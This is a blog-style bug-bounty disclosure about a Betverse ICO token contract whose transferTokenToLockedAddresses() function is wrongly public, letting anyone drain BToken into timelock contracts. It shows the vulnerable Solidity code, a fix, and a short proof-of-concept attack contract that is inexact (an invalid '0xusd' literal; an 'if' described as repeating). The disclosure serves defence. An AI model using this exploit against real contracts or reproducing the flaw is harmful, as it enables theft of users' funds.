Incorrect Function visibility leads to the Stealing of Betverse ICO Tokens.

A critical vulnerability was discovered in one of the Testnet projects on the Immunefi Platform, the Betverse ICO Token contract’s transferTokenToLockedAddresses() function. The vulnerability was caused by mistakenly marking this function as public when it should have been an internal function. This mistake enabled anyone to transfer a specified amount of BToken (amount.div(term)) to the attacker's time lock address. Repeating this attack could lead to the sweeping of the BToken balance of the ICOToken contract.

function transferTokenToLockedAddresses(
    address to,
    uint256 amount,
    uint256 usdAmountInWei,
    IERC20Metadata usd
) public {
    address[] memory lockedAddresses;
    sales[to] = Sale(to, amount, lockedAddresses, usd.symbol(), usdAmountInWei, block.timestamp, address(usd));
    uint256 currentDate = block.timestamp;
    for (uint256 i = 1; i <= term; i++) {
        currentDate = currentDate.add(365 days); // It will start releasing it in one year
        TokenTimelock timeLockContract = new TokenTimelock(token, to, currentDate);

        token.transfer(address(timeLockContract), amount.div(term));
        sales[to].lockedAddress.push(address(timeLockContract));
    }
}

Impact

The vulnerability allows attackers to steal BToken from the ICO contract, which could result in them gaining more BToken for their timelock address. As a result, this could result in significant financial losses for the ICO contract and its users.

Recommendation

To address this vulnerability, the transferTokenToLockedAddresses() function should be marked as an internal function. By doing so, only authorized contracts will have access to this function, and attackers will no longer be able to exploit this vulnerability.

Proof of Concept

The attacker calls the transferTokenToLockedAddresses() function with arbitrary parameters repeatedly until the contract's token balance becomes 0. The following code demonstrates how an attacker can exploit this vulnerability:

pragma solidity ^0.8.0;

contract Attack {
    Iico ico = Iico(0x0000);
    Ibtoken btoken = Ibtoken(0x0001);
    function exploit() external {
        if( btoken.balanceOf(ico) > 0 ) {
            ico.transferTokenToLockedAddresses(0xeeee, 1000, 100000, 0xusd);
        }
    }
}

In the above code, the exploit() function is used to call the transferTokenToLockedAddresses() function repeatedly until the contract's token balance becomes 0. The attack relies on the vulnerability of the transferTokenToLockedAddresses() function, which mistakenly appears as public.

Conclusion

In summary, the vulnerability in the transferTokenToLockedAddresses() function of the ICOToken contract on the Polygon network allowed attackers to steal BToken from the contract. The vulnerability was caused by mistakenly marking this function as public instead of an internal function. To mitigate this vulnerability, the transferTokenToLockedAddresses() function should be marked as an internal function. By doing so, only authorized contracts will have access to this function, and attackers will no longer be able to exploit this vulnerability.

Subscribe to stay tuned :)

Subscribe to Shanmuga Bharathi
Receive the latest updates directly to your inbox.
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.